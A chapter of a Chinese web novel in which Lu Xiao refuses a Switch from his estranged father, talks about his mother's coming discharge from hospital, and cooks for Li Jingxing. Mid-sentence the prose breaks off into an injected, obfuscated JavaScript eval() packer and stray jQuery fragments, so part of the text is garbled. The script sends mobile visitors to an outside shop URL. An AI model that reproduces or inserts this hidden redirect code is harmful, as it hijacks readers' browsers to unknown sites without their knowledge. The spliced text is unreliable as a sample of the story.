是他爸——陆垂星。
身后的人蹦蹦跳跳着,出于天冷,还不停往手上哈气,模样倒是挺可爱,总有点李景行的影子。
陆垂星从踏进家门的那一刻,眉眼开始温柔下来,颇有种慈祥老父亲的味道。
他没理会陆骁惊讶抑或是疑问的眼神,径直走进家门,顺手从包里掏出了一个盒子,不大不小,轻轻递到他的面前。
陆骁没抬起手,他用余光瞄了一眼,上面的字都不认识,也没发现什么有用信息,抬眸直视对方:“怎么这么早就回来了?”
“想回来看看你,这个理由成立吗?”陆垂星像是自嘲地一笑,示意了一下面前的这个盒子:“给你带的礼物。”
礼物?这个当年没有良心,抛下他们母子二人的禽兽,现在出趟差都会给人带礼物了?讨好人的意图不要太明显。
陆骁无动于衷。
陆垂星伸手拉过身后的“小夏”,往客厅里走,把盒子朝茶几上一放,问起来:“你那天带回来的那个小男孩呢?”
“出门了。”
“哦。”陆垂星若有所思地点了下头,用这近乎恳求的语气说:“你现在也住在我这里了,我知道以前的事情肯定无法一笔勾销,但我现在也应该尽好一个父亲的责任,我给你带点礼物,没别的意思。”
“你就给个面子,拆一下吧,丢了也可以。”
里面的东西硬硬的,应该是个电子设备。陆骁轻叹一声,打开茶几上的盒子,里面是一台switch游戏机,红蓝配色,十分经典的款式。
他愣住了,这确实是他想要已久的东西。每次看到那2000多的价格都望而却步,现在竟然货真价实的拿在他的手里。
见陆骁反应还算稳定,陆垂星接着说:“我错过了你的青春期,也没扮演好父亲这个角色,当初确实是我不对,所以你以后有什么要求尽管可以提。”
是吗?陆骁放下手上的东西,随意地像扔一团废纸,低头看向那台游戏机。
他幻想过无数遍自己拥有它,可以是林素不再酗酒,找到工作后给他买的礼物;可以使自己成绩进步,获得的奖励;可以使大学毕业后,工资稳定再买给自己。但不能是陆垂星出差给他买的礼物,他不会要他一分钱。
盯了一会儿,陆骁内心的纠结也做完了,他转身冷漠地留下一句:“这是你的东西,我不会要的。”
陆垂星也没继续坚持,只是轻声问:“你现在有空吗?我想跟你说点事。”
陆骁不耐烦地再转回来,拧着眉喊:“就在这里,快点说完!”
“你坐。”对方指了下他身旁的沙发,黑色皮质,看着很光滑,有一种冰凉淡柔软的舒服。
陆骁的表情更不耐烦了,脸上写满“有话快说,有屁快放”。
“讲点你妈的事,可能会有点久……站着腿酸。”
林素这个名字可是陆骁和他爸之间的禁忌,也是他们吵架的核心,不管因为什么事吵起来,最后都会闹到林素身上。
他情绪没控制住,有点激动,指着“小夏”:“你别听我妈,是你背叛了她,还把人在医院里气的不省人事,现在有什么资格提她!”
“我都能接受你是个同性恋了,我还同意你把对象带回家,你到底还要怎么样?现在想想当初确实有点冲动了,让你给我找了个后妈。”
“呵,”他讥笑一声:“还是个男妈妈。”
“同性恋”三个字他喊得尤其响亮和刺耳,像把双刃剑似的同时抽向自己和陆垂星。
江宇安是同,他的小后桌也是,用在他们身上是少年青春懵懂,在性取向上不小心走弯了,而用在陆垂星身上,只有恶心两个字。
陆垂星不在的这段日子,过得着实快乐。
“我觉得我已经很宽容了吧,你们在房间里干的那些事,我又不是不知道。”陆骁抬起手指了指那个房间:“你们小两口好好过日子,别来烦我和我妈。”
陆垂星一时被骂得有点懵,他身边的“小夏哥哥”感觉快被吓哭了,眼睛薄薄蒙了层水雾,很亮,很好看,但比不上李景行的。
半?,陆垂星动了动嘴唇,沙哑着嗓子说:“你妈可能快要出院了,你有什么打算?”对上儿子凶狠的眼神,又补充道:“我就说这一句。”
林素这个女人,长得漂亮,面相看着也温柔,性格却非同寻常的倔,陆骁完全遗传了这一点。她年轻时读书很用功,成绩也很好,但为了跟陆垂星私奔出来,大学都没上。
他有时候很想站到林素面前,看着她哭红的双眼,严肃地问一句:“你真的不后悔吗?”
不过这么倔,这么有主见的人,这肯定不会被病魔打败的。林素完全不辜负他的期望,死里逃生,真的在一点点变好。
打算的话,两个人幸福健康的活着,必须是前提。
“不用你操心,这是我们的事。”陆骁平静地回答。
“嗯,我知道,你们肯定不愿意来我这住,要不要我派人把你小时候那套,以前住的老房子收拾一下,你们搬过去?”
还“派人”?陆骁心里嘲讽着他,这话说的好像他特别有本事似的。婚后出轨的男人没本事,连老婆和孩子都照顾不好男人更没本事。
但眼下似乎别无选择,难不成他要再和林素重回那间破出租屋?
在陆垂星这里,养尊处优,阔绰少年的日子过惯了,回头一想,在出租屋的生活完全无法接受。
他莫名有点愧疚,什么时候自己变成这样了?
“好。”他答应下来:“我妈出院后就没你们什么事情了,我会和她开始新的生活,我们过来打扰你们,你们同样你别来气我妈。”
他一口一个“我妈”的,陆垂星都怕他因为这些事心里扭曲,搞得跟贾宝玉一样厌男,每天活在女人堆里,过花天酒地的日子。
弯恋的路不好走,日子也不好过,他出于一个父亲还是苦口婆心地说:“你别走我的路,好好学习,好好工作,再好好找一个女朋友,成家立业,对他们……负责一点。”
“这是当然,你以为谁都跟你一样?!”
陆垂星这表情不知道是担心还是无奈,他顿了一下,想说什么,终究是没说出口,只留下一句:“你答应我的这些事,希望多年后可不会后悔。”
“喜欢的是女生,绝对不用你操心。”陆骁不耐烦地说,他白了对方一眼,鼻子烦躁地吐着,头也不回地上了楼。
林素又出现了是好事,其他人跟他说,陆骁定会激动得不行,可偏偏告诉他这个消息的是陆垂星,还这么闹一场,晦气。
好在,苦日子也终于是要到头了,一切都在往好像方向发展。
陆骁拿出了一张纸,他第1次这么正式、这么有仪式感地打算起自己接下来的人生:成绩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641289|204233||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
重回巅峰,和母亲出去玩,依旧跟小后桌每天打闹……
另外……他笔一顿,虽然自己每天身边都有不少人,但真这么重要的也寥寥无几。
不过也够了。
-
陆垂星出差回来看起来挺累的,刚过9点就捏了捏眉心,洗澡睡了,“小夏哥哥”毫不意外地跟在他屁股后面。
唯独只有陆骁的小“床伴”没有回来,冬天天黑得早,这会儿路上已经很黑了,这种可爱的小男生独自出门在外,很容易被劫财劫色,要是真出了点事,还不知道要怎么跟人家父母交代呢。
正想着对方,门铃声就响起,陆骁像开盲盒一样,又随意的打开了门,不过这次抽到了隐藏款,消失了整个下午的李景行终于出现在了他家门前。
光是看他一眼,陆骁心里就舒服了不少。
本来想责备对方为什么回来这么晚的,说出口就变成了:“你晚饭吃了吗?”顺带摸了下他的头,试试手感。
李景行的表情有一丝心虚,藏着掖着手里的东西。不过走到餐桌前还是咽了口口水,诚实地回答:“没吃。”
毕竟民以食为天。
陆骁得意地按着他的肩膀坐下,从电饭煲里盛出一碗饭,还热腾着,放到他面前:“我就知道你没吃,特意让王婶把饭保温了,不然你只有冷饭吃。”
但菜还是冷的,陆骁又开始心疼起来,冒着炸掉锅子、烧毁厨房的风险,说:“要不我帮你煎几个蛋?”
“好。”李景行直接答应了,他吃起来狼吞虎咽,脸颊被含在嘴里的饭菜涨得肉嘟嘟,让人忍不住想揉揉。
“小心别噎着了,没人跟你抢。”
“嗯。”因为嘴里塞满了东西,又抬起头眼巴巴的看着陆骁,显得特别奶呼呼的。
煎蛋时,蛋液和油在锅里“滋滋”地跳动,好像随时都要爆起来,明知道这样衣服容易弄脏,但陆骁就是不系围裙,他觉得太显小家子气了,仗着个手臂长,搁那乱搅和。
自信满满地走进厨房,用眼神飘忽地走出来。
但也没倒均匀,周围的都烧焦了,中间还没熟,蛋黄也被搅散,卖相很一般。
但李景行特别给面子地夹起来吃了,毕竟就只是煎个蛋,不可能做的有多难吃。
他咬了第1口,神情却有点茫然。
“不好吃吗?”陆骁有点慌。
“没味儿。”他的小后桌作出三个字的简单评价后,又看到了对方溅满油渍的衣服,顿时觉得自己的话太刻薄了,连忙改口:“还不错。”
但话都说出来了,对方也听到了,陆骁没生气,只是恍然大悟:“我靠,没放盐!”
“没事。”李景行又大口吃了起来:“放点酱油就好了,一般煎蛋不放盐的,都是出锅后倒酱油。”
“哦——”陆骁拖长这语调回答,好像确实学到了点真本事。
但他不知道的是,小后桌只是爱屋及乌,喜欢他和他的一些东西罢了。
看着乖乖吃饭的小猫,陆骁吞吞吐吐地还是问出了那个问题:“你……打算在我这里住到什么时候?”本来想说“你什么时候走”的,但听着总有股撵人出门的意味。
李景行吃饭的手一顿,含糊不清地说:“这么快就要赶我走了吗?”
“没有。”陆骁俯身摸了摸他的头,笑得有点苦涩和无奈:“我可能要搬家了。”